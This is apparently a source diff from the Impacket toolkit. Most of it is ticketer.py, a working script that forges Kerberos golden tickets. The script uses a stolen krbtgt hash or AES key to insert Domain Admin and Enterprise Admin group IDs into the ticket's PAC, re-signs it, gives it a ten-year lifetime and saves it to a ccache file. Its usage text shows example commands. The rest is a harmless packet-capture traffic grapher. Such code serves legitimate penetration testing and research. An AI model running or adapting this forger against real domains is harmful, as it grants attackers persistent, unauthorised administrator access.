if pacInfos.has_key(PAC_LOGON_INFO):
|
||||
data = pacInfos[PAC_LOGON_INFO]
|
||||
validationInfo = VALIDATION_INFO()
|
||||
validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
|
||||
lenVal = len(validationInfo.getData())
|
||||
validationInfo.fromStringReferents(data[lenVal:], lenVal)
|
||||
|
||||
aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ'))
|
||||
|
||||
unixTime = self.getFileTime(aTime)
|
||||
|
||||
kerbdata = KERB_VALIDATION_INFO()
|
||||
|
||||
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
|
||||
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
|
||||
|
||||
# Let's adjust username and other data
|
||||
validationInfo['Data']['LogonDomainName'] = self.__domain.upper()
|
||||
validationInfo['Data']['EffectiveName'] = self.__target
|
||||
# Our Golden Well-known groups! :)
|
||||
groups = self.__options.groups.split(',')
|
||||
validationInfo['Data']['GroupIds'] = list()
|
||||
validationInfo['Data']['GroupCount'] = len(groups)
|
||||
|
||||
for group in groups:
|
||||
groupMembership = GROUP_MEMBERSHIP()
|
||||
groupId = NDRULONG()
|
||||
groupId['Data'] = int(group)
|
||||
groupMembership['RelativeId'] = groupId
|
||||
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
|
||||
validationInfo['Data']['GroupIds'].append(groupMembership)
|
||||
|
||||
# Let's add the extraSid
|
||||
if self.__options.extra_sid is not None:
|
||||
if validationInfo['Data']['SidCount'] == 0:
|
||||
# Let's be sure user's flag specify we have extra sids.
|
||||
validationInfo['Data']['UserFlags'] |= 0x20
|
||||
validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
|
||||
|
||||
validationInfo['Data']['SidCount'] += 1
|
||||
|
||||
sidRecord = KERB_SID_AND_ATTRIBUTES()
|
||||
|
||||
sid = RPC_SID()
|
||||
sid.fromCanonical(self.__options.extra_sid)
|
||||
|
||||
sidRecord['Sid'] = sid
|
||||
sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
|
||||
|
||||
# And, let's append the magicSid
|
||||
validationInfo['Data']['ExtraSids'].append(sidRecord)
|
||||
else:
|
||||
validationInfo['Data']['ExtraSids'] = NULL
|
||||
|
||||
validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents()
|
||||
pacInfos[PAC_LOGON_INFO] = validationInfoBlob
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('VALIDATION_INFO after making it gold')
|
||||
validationInfo.dump()
|
||||
print ('\n')
|
||||
else:
|
||||
raise Exception('PAC_LOGON_INFO not found! Aborting')
|
||||
|
||||
logging.info('\tPAC_LOGON_INFO')
|
||||
|
||||
# Let's now clear the checksums
|
||||
if pacInfos.has_key(PAC_SERVER_CHECKSUM):
|
||||
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
|
||||
if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
|
||||
serverChecksum['Signature'] = '\x00' * 12
|
||||
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
|
||||
serverChecksum['Signature'] = '\x00' * 12
|
||||
else:
|
||||
serverChecksum['Signature'] = '\x00' * 16
|
||||
pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData()
|
||||
else:
|
||||
raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')
|
||||
|
||||
if pacInfos.has_key(PAC_PRIVSVR_CHECKSUM):
|
||||
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
|
||||
privSvrChecksum['Signature'] = '\x00' * 12
|
||||
if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
|
||||
privSvrChecksum['Signature'] = '\x00' * 12
|
||||
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
|
||||
privSvrChecksum['Signature'] = '\x00' * 12
|
||||
else:
|
||||
privSvrChecksum['Signature'] = '\x00' * 16
|
||||
pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData()
|
||||
else:
|
||||
raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')
|
||||
|
||||
if pacInfos.has_key(PAC_CLIENT_INFO_TYPE):
|
||||
pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE])
|
||||
pacClientInfo['ClientId'] = unixTime
|
||||
pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData()
|
||||
else:
|
||||
raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')
|
||||
|
||||
logging.info('\tPAC_CLIENT_INFO_TYPE')
|
||||
logging.info('\tEncTicketPart')
|
||||
|
||||
encASRepPart = EncASRepPart()
|
||||
encASRepPart['key'] = None
|
||||
encASRepPart['key']['keytype'] = encTicketPart['key']['keytype']
|
||||
encASRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue']
|
||||
encASRepPart['last-req'] = None
|
||||
encASRepPart['last-req'][0] = None
|
||||
encASRepPart['last-req'][0]['lr-type'] = 0
|
||||
encASRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
|
||||
encASRepPart['nonce'] = 123456789
|
||||
encASRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration)
|
||||
encASRepPart['flags'] = encodeFlags(flags)
|
||||
encASRepPart['authtime'] = encTicketPart['authtime']
|
||||
encASRepPart['endtime'] = encTicketPart['endtime']
|
||||
encASRepPart['starttime'] = encTicketPart['starttime']
|
||||
encASRepPart['renew-till'] = encTicketPart['renew-till']
|
||||
encASRepPart['srealm'] = self.__domain.upper()
|
||||
encASRepPart['sname'] = None
|
||||
encASRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
|
||||
encASRepPart['sname']['name-string'] = None
|
||||
encASRepPart['sname']['name-string'][0] = 'krbtgt'
|
||||
encASRepPart['sname']['name-string'][1] = self.__domain.upper()
|
||||
logging.info('\tEncAsRepPart')
|
||||
|
||||
return encASRepPart, encTicketPart, pacInfos
|
||||
|
||||
def signEncryptTicket(self, kdcRep, encASRepPart, encTicketPart, pacInfos):
|
||||
logging.info('Signing/Encrypting final ticket')
|
||||
|
||||
# We changed everything we needed to make us special. Now let's repack and calculate checksums
|
||||
validationInfoBlob = pacInfos[PAC_LOGON_INFO]
|
||||
validationInfoAlignment = '\x00' * (((len(validationInfoBlob) + 7) / 8 * 8) - len(validationInfoBlob))
|
||||
|
||||
pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
|
||||
pacClientInfoAlignment = '\x00' * (((len(pacClientInfoBlob) + 7) / 8 * 8) - len(pacClientInfoBlob))
|
||||
|
||||
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
|
||||
serverChecksumBlob = str(pacInfos[PAC_SERVER_CHECKSUM])
|
||||
serverChecksumAlignment = '\x00' * (((len(serverChecksumBlob) + 7) / 8 * 8) - len(serverChecksumBlob))
|
||||
|
||||
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
|
||||
privSvrChecksumBlob = str(pacInfos[PAC_PRIVSVR_CHECKSUM])
|
||||
privSvrChecksumAlignment = '\x00' * (((len(privSvrChecksumBlob) + 7) / 8 * 8) - len(privSvrChecksumBlob))
|
||||
|
||||
# The offset are set from the beginning of the PAC_TYPE
|
||||
# [MS-PAC] 2.4 PAC_INFO_BUFFER
|
||||
offsetData = 8 + len(str(PAC_INFO_BUFFER())) * 4
|
||||
|
||||
# Let's build the PAC_INFO_BUFFER for each one of the elements
|
||||
validationInfoIB = PAC_INFO_BUFFER()
|
||||
validationInfoIB['ulType'] = PAC_LOGON_INFO
|
||||
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
|
||||
validationInfoIB['Offset'] = offsetData
|
||||
offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) / 8 * 8
|
||||
|
||||
pacClientInfoIB = PAC_INFO_BUFFER()
|
||||
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
|
||||
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
|
||||
pacClientInfoIB['Offset'] = offsetData
|
||||
offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) / 8 * 8
|
||||
|
||||
serverChecksumIB = PAC_INFO_BUFFER()
|
||||
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
|
||||
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
|
||||
serverChecksumIB['Offset'] = offsetData
|
||||
offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) / 8 * 8
|
||||
|
||||
privSvrChecksumIB = PAC_INFO_BUFFER()
|
||||
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
|
||||
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
|
||||
privSvrChecksumIB['Offset'] = offsetData
|
||||
# offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8
|
||||
|
||||
# Building the PAC_TYPE as specified in [MS-PAC]
|
||||
buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str(
|
||||
privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str(
|
||||
pacInfos[PAC_CLIENT_INFO_TYPE]) + pacClientInfoAlignment
|
||||
buffersTail = str(serverChecksumBlob) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment
|
||||
|
||||
pacType = PACTYPE()
|
||||
pacType['cBuffers'] = 4
|
||||
pacType['Version'] = 0
|
||||
pacType['Buffers'] = buffers + buffersTail
|
||||
|
||||
blobToChecksum = str(pacType)
|
||||
|
||||
checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']]
|
||||
if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
|
||||
keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
|
||||
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
|
||||
keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
|
||||
elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
|
||||
keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash))
|
||||
else:
|
||||
raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType'])
|
||||
|
||||
checkSumFunctionPriv = _checksum_table[privSvrChecksum['SignatureType']]
|
||||
if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
|
||||
keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
|
||||
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
|
||||
keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
|
||||
elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
|
||||
keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash))
|
||||
else:
|
||||
raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType'])
|
||||
|
||||
serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum)
|
||||
logging.info('\tPAC_SERVER_CHECKSUM')
|
||||
privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature'])
|
||||
logging.info('\tPAC_PRIVSVR_CHECKSUM')
|
||||
|
||||
buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment
|
||||
pacType['Buffers'] = buffers + buffersTail
|
||||
|
||||
authorizationData = AuthorizationData()
|
||||
authorizationData[0] = None
|
||||
authorizationData[0]['ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value
|
||||
authorizationData[0]['ad-data'] = str(pacType)
|
||||
authorizationData = encoder.encode(authorizationData)
|
||||
|
||||
encTicketPart['authorization-data'][0]['ad-data'] = authorizationData
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('Customized EncTicketPart')
|
||||
print encTicketPart.prettyPrint()
|
||||
print ('\n')
|
||||
|
||||
encodedEncTicketPart = encoder.encode(encTicketPart)
|
||||
|
||||
cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']]
|
||||
if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
|
||||
key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
|
||||
elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
|
||||
key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
|
||||
elif cipher.enctype == EncryptionTypes.rc4_hmac.value:
|
||||
key = Key(cipher.enctype, unhexlify(self.__options.nthash))
|
||||
else:
|
||||
raise Exception('Unsupported enctype 0x%x' % cipher.enctype)
|
||||
|
||||
# Key Usage 2
|
||||
# AS-REP Ticket and TGS-REP Ticket (includes TGS session
|
||||
# key or application session key), encrypted with the
|
||||
# service key (Section 5.3)
|
||||
logging.info('\tEncTicketPart')
|
||||
cipherText = cipher.encrypt(key, 2, str(encodedEncTicketPart), None)
|
||||
|
||||
kdcRep['ticket']['enc-part']['cipher'] = cipherText
|
||||
kdcRep['ticket']['enc-part']['kvno'] = 2
|
||||
|
||||
# Lastly.. we have to encrypt the kdcRep['enc-part'] part
|
||||
# with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?)
|
||||
encodedEncASRepPart = encoder.encode(encASRepPart)
|
||||
|
||||
# Key Usage 3
|
||||
# AS-REP encrypted part (includes TGS session key or
|
||||
# application session key), encrypted with the client key
|
||||
# (Section 5.4.2)
|
||||
sessionKey = Key(cipher.enctype, str(encASRepPart['key']['keyvalue']))
|
||||
logging.info('\tEncASRepPart')
|
||||
cipherText = cipher.encrypt(sessionKey, 3, str(encodedEncASRepPart), None)
|
||||
|
||||
kdcRep['enc-part']['cipher'] = cipherText
|
||||
kdcRep['enc-part']['etype'] = cipher.enctype
|
||||
kdcRep['enc-part']['kvno'] = 1
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('Final Golden Ticket')
|
||||
print kdcRep.prettyPrint()
|
||||
print ('\n')
|
||||
|
||||
return encoder.encode(kdcRep), cipher, sessionKey
|
||||
|
||||
def saveTicket(self, tgt, sessionKey):
|
||||
logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache'))
|
||||
from impacket.krb5.ccache import CCache
|
||||
ccache = CCache()
|
||||
ccache.fromTGT(tgt, sessionKey, sessionKey)
|
||||
ccache.saveFile(self.__target.replace('/','.') + '.ccache')
|
||||
|
||||
def run(self):
|
||||
ticket, adIfRelevant = self.createBasicTicket()
|
||||
if ticket is not None:
|
||||
encASRepPart, encTicketPart, pacInfos = self.customizeTicket(ticket, adIfRelevant)
|
||||
ticket, cipher, sessionKey = self.signEncryptTicket(ticket, encASRepPart, encTicketPart, pacInfos)
|
||||
self.saveTicket(ticket, sessionKey)
|
||||
|
||||
if __name__ == '__main__':
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Creates a Kerberos golden/silver tickets based on "
|
||||
"user options")
|
||||
|
||||
parser.add_argument('target', action='store', help='username or SPN for the newly created ticket (if \'/\' present '
|
||||
'it is assumed it\'s a SPN and a silver ticket will be created')
|
||||
parser.add_argument('-request', action='store_true', default=False, help='Requests ticket to domain and clones it '
|
||||
'changing only the supplied information. It requires specifying -user')
|
||||
parser.add_argument('-domain', action='store', help='the fully qualified domain name (e.g. contoso.com)')
|
||||
parser.add_argument('-domain-sid', action='store', help='Domain SID of the target domain the ticker will be '
|
||||
'generated for')
|
||||
parser.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key used for signing the ticket '
|
||||
'(128 or 256 bits)')
|
||||
parser.add_argument('-nthash', action="store", help='NT hash used for signing the ticket')
|
||||
parser.add_argument('-groups', action="store", default = '513, 512, 520, 518, 519', help='comma separated list of '
|
||||
'groups user will belong to (default = 513, 512, 520, 518, 519)')
|
||||
parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be '
|
||||
'created for (default = 500)')
|
||||
parser.add_argument('-extra-sid', action="store", help='Optional ExtraSid to be included inside the ticket\'s PAC')
|
||||
parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires '
|
||||
'(default = 365*10)')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-user', action="store", help='domain/username to be used if -request is chosen (it can be '
|
||||
'different from domain/username')
|
||||
group.add_argument('-password', action="store", help='password for domain/username')
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
|
||||
'ommited it use the domain part (FQDN) specified in the target parameter')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
print "\nExamples: "
|
||||
print "\t./ticketer.py -nthash <krbtgt nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser\n"
|
||||
print "\twill create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4."
|
||||
print "\tIf you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256"
|
||||
print "\t(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as"
|
||||
print "\tbaduser.ccache.\n"
|
||||
print "\t./ticketer.py -nthash <krbtgt nthash> -aesKey <krbtgt AES> -domain-sid <your domain SID> -domain " \
|
||||
"<your domain FQDN> -request -user <a valid domain user> -password <valid domain user's password> baduser\n"
|
||||
print "\twill first authenticate against the KDC (using -user/-password) and get a TGT that will be used"
|
||||
print "\tas template for customization. Whatever encryption algorithms used on that ticket will be honored,"
|
||||
print "\thence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'"
|
||||
print "\tand saved as baduser.ccache"
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
if options.target.find('/') >=0:
|
||||
logging.critical('Silver tickets not yet supported')
|
||||
sys.exit(1)
|
||||
|
||||
if options.domain is None:
|
||||
logging.critical('Domain should be specified!')
|
||||
sys.exit(1)
|
||||
|
||||
if options.aesKey is None and options.nthash is None:
|
||||
logging.error('You have to specify either a aesKey or nthash')
|
||||
sys.exit(1)
|
||||
|
||||
if options.aesKey is not None and options.nthash is not None and options.request is False:
|
||||
logging.error('You cannot specify both -aesKey and -nthash w/o using -request. Pick only one')
|
||||
sys.exit(1)
|
||||
|
||||
if options.request is True and options.user is None:
|
||||
logging.error('-request parameter needs -user to be specified')
|
||||
sys.exit(1)
|
||||
|
||||
if options.request is True and options.hashes is None and options.password is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
else:
|
||||
password = options.password
|
||||
|
||||
try:
|
||||
executer = TICKETER(options.target, password, options.domain, options)
|
||||
executer.run()
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
print str(e)
|
||||
@@ -0,0 +1,414 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Parallel Coordinates traffic grapher.
|
||||
#
|
||||
# This grapher uses the pcap library to listen for packets in transit
|
||||
# over the specified interface. The returned packages can be filtered
|
||||
# according to a BPF filter (see tcpdump(3) for further information on
|
||||
# BPF filters). The packets are displayed on a parallel coordinates
|
||||
# graph that allows the user to visualize the traffic flow on the
|
||||
# network in real-time.
|
||||
#
|
||||
# The graphing part requires Tk support. Note that the user might need
|
||||
# special permissions to be able to use pcap.
|
||||
#
|
||||
# Authors:
|
||||
# Gerardo Richarte <gera@coresecurity.com>
|
||||
# Javier Kohen <jkohen@coresecurity.com>
|
||||
#
|
||||
# Reference for:
|
||||
# pcapy: findalldevs, open_live.
|
||||
# ImpactPacket.
|
||||
# ImpactDecoder.
|
||||
|
||||
## Some tunable variables follow.
|
||||
|
||||
# Period (in ms.) to wait between pcap polls.
|
||||
POLL_PERIOD = 250
|
||||
|
||||
# Period (in ms.) to wait between screen refreshes.
|
||||
REFRESH_PERIOD = 1000
|
||||
|
||||
# Refresh screen after receiving new packets.
|
||||
# You might want to turn off fast_draws if it consumes too much CPU,
|
||||
# for instance, when used under X-Window over a network link.
|
||||
fast_draws = 1
|
||||
|
||||
## End of user configurable section.
|
||||
|
||||
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
import Tkinter
|
||||
import pcapy
|
||||
from pcapy import open_live, findalldevs, PcapError
|
||||
|
||||
from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder
|
||||
|
||||
|
||||
class NumericAxis:
|
||||
def __init__(self,canvas,name,low=0,high=0,direction='vertical'):
|
||||
self.canvas = canvas
|
||||
self.name = name
|
||||
self.setLowerLimit(low)
|
||||
self.setHigherLimit(high)
|
||||
self.direction = direction
|
||||
|
||||
def screenLength(self):
|
||||
if self.direction == 'vertical':
|
||||
return (self.canvas.winfo_height())-10
|
||||
else:
|
||||
return (self.canvas.winfo_width())-10
|
||||
|
||||
def scaleLength(self):
|
||||
delta = self.getHigherLimit()-self.getLowerLimit()
|
||||
if not delta:
|
||||
delta += 1
|
||||
return delta
|
||||
|
||||
def unscale(self,coord):
|
||||
return int((coord-5)*self.scaleLength()/self.screenLength()+self.getLowerLimit())
|
||||
|
||||
def scale(self,value):
|
||||
return (value-self.getLowerLimit())*self.screenLength()/self.scaleLength()+5
|
||||
|
||||
def setLowerLimit(self,limit):
|
||||
if not limit == None:
|
||||
self._lowerLimit = limit
|
||||
|
||||
def setHigherLimit(self,limit):
|
||||
if not limit == None:
|
||||
self._higherLimit = limit
|
||||
|
||||
def getLowerLimit(self):
|
||||
return self._lowerLimit
|
||||
|
||||
def getHigherLimit(self):
|
||||
return self._higherLimit
|
||||
|
||||
def addValue(self,value):
|
||||
if self.getLowerLimit() > value:
|
||||
self.setLowerLimit(value)
|
||||
if self.getHigherLimit() < value:
|
||||
self.setHigherLimit(value)
|
||||
|
||||
class SymbolicAxis(NumericAxis):
|
||||
def __init__(self,canvas,name,values=[],direction = 'vertical'):
|
||||
NumericAxis.__init__(self,canvas,name,0,len(values)-1,direction)
|
||||
self.values = list(values)
|
||||
|
||||
def addValue(self,value,sort = 1):
|
||||
try:
|
||||
self.values.index(value)
|
||||
return
|
||||
except:
|
||||
None
|
||||
self.values.append(value)
|
||||
if sort:
|
||||
self.values.sort()
|
||||
self.setHigherLimit(len(self.getValues())-1)
|
||||
|
||||
def unscale(self,value):
|
||||
try:
|
||||
i = NumericAxis.unscale(self, value)
|
||||
if i < 0: return None
|
||||
return self.getValues()[i]
|
||||
except Exception,e:
|
||||
return None
|
||||
|
||||
def scale(self,value):
|
||||
try:
|
||||
return NumericAxis.scale(self,self.getValues().index(value))
|
||||
except:
|
||||
self.addValue(value)
|
||||
return NumericAxis.scale(self,self.values.index(value))
|
||||
|
||||
def getValues(self):
|
||||
return self.values
|
||||
|
||||
class ParallelCoordinates(Tkinter.Canvas):
|
||||
def __init__(self, master=None, cnf={}, **kw):
|
||||
apply(Tkinter.Canvas.__init__, (self, master, cnf), kw)
|
||||
|
||||
self.lastSelection = None
|
||||
self.lastSelectionOval = None
|
||||
self._onSelection = None
|
||||
|
||||
self.minColor = None
|
||||
self.maxColor = None
|
||||
self.colorAxis = '_counter'
|
||||
|
||||
self.values=[]
|
||||
self.mainAxis=SymbolicAxis(self,'mainAxis',[],'horizontal')
|
||||
|
||||
master.bind('<Visibility>',self.draw)
|
||||
master.bind('<Motion>',self.buttonDown)
|
||||
master.bind('<1>',self.buttonDown)
|
||||
master.bind('<ButtonRelease-1>',self.buttonUp)
|
||||
|
||||
def addAxis(self,axis):
|
||||
self.mainAxis.addValue(axis,0)
|
||||
|
||||
def sameValue(self,a,b):
|
||||
for axis in self.mainAxis.getValues():
|
||||
if not a[axis.name] == b[axis.name]:
|
||||
return 0
|
||||
return 1
|
||||
|
||||
def addValue(self,value):
|
||||
for each in self.values:
|
||||
if self.sameValue(value,each):
|
||||
each['_counter'] += 1
|
||||
each['timestamp'] = value['timestamp']
|
||||
value = each
|
||||
break
|
||||
else:
|
||||
value['_counter'] = 1
|
||||
for axis in self.mainAxis.getValues():
|
||||
axis.addValue(value[axis.name])
|
||||
self.values.append(value)
|
||||
|
||||
color = value[self.colorAxis]
|
||||
if None == self.minColor or self.minColor > color:
|
||||
self.minColor = color
|
||||
|
||||
if None == self.maxColor or self.maxColor < color:
|
||||
self.maxColor = color
|
||||
|
||||
def removeValue(self, value):
|
||||
self.values.remove(value)
|
||||
|
||||
def basicColor(self,val,fade = 1):
|
||||
# color scale is linear going through green -> yellow -> red
|
||||
# (lower to higher)
|
||||
|
||||
if val < 0.5:
|
||||
val += val # val *= 2 (scale from 0 to 1)
|
||||
# between green - yellow
|
||||
red = 64*(1-val) + 255*val
|
||||
green = 200*(1-val) + 255*val
|
||||
blue = 64*(1-val) + 0
|
||||
else:
|
||||
val -= 0.5
|
||||
val += val
|
||||
red = 255*(1-val) + 255*val
|
||||
green = 255*(1-val) + 64*val
|
||||
blue = 0 + 0
|
||||
|
||||
return '#%02x%02x%02x' % (int(red*fade), int(green*fade), int(blue*fade))
|
||||
|
||||
def fade(self,value):
|
||||
return max(0,(120.0-time.time()+value['timestamp'])/120.0)
|
||||
|
||||
def color(self,value,fade = 1):
|
||||
# color scale is linear going through green -> yellow -> red (lower to higher)
|
||||
val = float(value[self.colorAxis]-self.minColor)/(self.maxColor-self.minColor+1)
|
||||
return self.basicColor(val,fade)
|
||||
|
||||
def drawValueLine(self,value):
|
||||
x = -1
|
||||
y = -1
|
||||
fade = self.fade(value)
|
||||
if not fade:
|
||||
self.removeValue(value)
|
||||
return
|
||||
|
||||
color = self.color(value,fade)
|
||||
|
||||
for axis in self.mainAxis.getValues():
|
||||
px = x
|
||||
py = y
|
||||
x = self.mainAxis.scale(axis)
|
||||
y = axis.scale(value[axis.name])
|
||||
if not px == -1:
|
||||
self.create_line(px,py,x,y,fill = color)
|
||||
|
||||
def draw(self,event = None):
|
||||
# draw axis
|
||||
for i in self.find_all():
|
||||
self.delete(i)
|
||||
|
||||
for axis in self.mainAxis.getValues():
|
||||
x = self.mainAxis.scale(axis)
|
||||
self.create_line(x,5,x,int(self.winfo_height())-5,fill = 'white')
|
||||
|
||||
for value in self.values:
|
||||
self.drawValueLine(value)
|
||||
|
||||
# draw color range
|
||||
# for i in range(200):
|
||||
# c = self.basicColor((i+0.0)/200)
|
||||
# self.create_line(0,i,100,i,fill = c)
|
||||
|
||||
def buttonDown(self,event):
|
||||
if (event.state & 0x0100) or (event.type == '4'):
|
||||
axis = self.mainAxis.unscale(event.x)
|
||||
if not axis: return
|
||||
element = axis.unscale(event.y)
|
||||
if not element: return
|
||||
|
||||
x = self.mainAxis.scale(axis)
|
||||
y = axis.scale(element)
|
||||
|
||||
if self.lastSelectionOval:
|
||||
self.delete(self.lastSelectionOval)
|
||||
self.lastSelectionOval = self.create_oval(x-3,y-3,x+3,y+3,fill = "yellow")
|
||||
|
||||
if not self.lastSelection == (axis,element):
|
||||
self.lastSelection = (axis,element)
|
||||
if self._onSelection:
|
||||
self._onSelection(self.lastSelection)
|
||||
|
||||
|
||||
def buttonUp(self,event):
|
||||
if self.lastSelectionOval:
|
||||
self.delete(self.lastSelectionOval)
|
||||
self.lastSelectionOval = None
|
||||
self.lastSelection = None
|
||||
if self._onSelection:
|
||||
self._onSelection(None)
|
||||
|
||||
def onSelection(self,_onSelection):
|
||||
self._onSelection = _onSelection
|
||||
|
||||
|
||||
class Tracer:
|
||||
def __init__(self, interface = 'eth0', filter = ''):
|
||||
print "Tracing interface %s with filter `%s'." % (interface, filter)
|
||||
|
||||
self.tk = Tkinter.Tk()
|
||||
self.pc = ParallelCoordinates(self.tk,background = "black")
|
||||
self.pc.pack(expand=1, fill="both")
|
||||
self.status = Tkinter.Label(self.tk)
|
||||
self.status.pack()
|
||||
self.tk.tkraise()
|
||||
self.tk.title('Personal SIDRA (IP-Tracer)')
|
||||
|
||||
self.pc.addAxis(NumericAxis(self.pc, 'proto',256))
|
||||
self.pc.addAxis(SymbolicAxis(self.pc,'shost'))
|
||||
self.pc.addAxis(SymbolicAxis(self.pc,'sport'))
|
||||
self.pc.addAxis(SymbolicAxis(self.pc,'dport'))
|
||||
self.pc.addAxis(SymbolicAxis(self.pc,'dhost'))
|
||||
self.pc.onSelection(self.newSelection)
|
||||
|
||||
self.interface = interface
|
||||
self.filter = filter
|
||||
|
||||
def timerDraw(self,event = None):
|
||||
self.pc.draw()
|
||||
self.tk.after(REFRESH_PERIOD, self.timerDraw);
|
||||
|
||||
def start(self):
|
||||
self.p = open_live(self.interface, 1600, 0, 100)
|
||||
## self.p.setnonblock(1)
|
||||
if self.filter:
|
||||
self.p.setfilter(self.filter)
|
||||
|
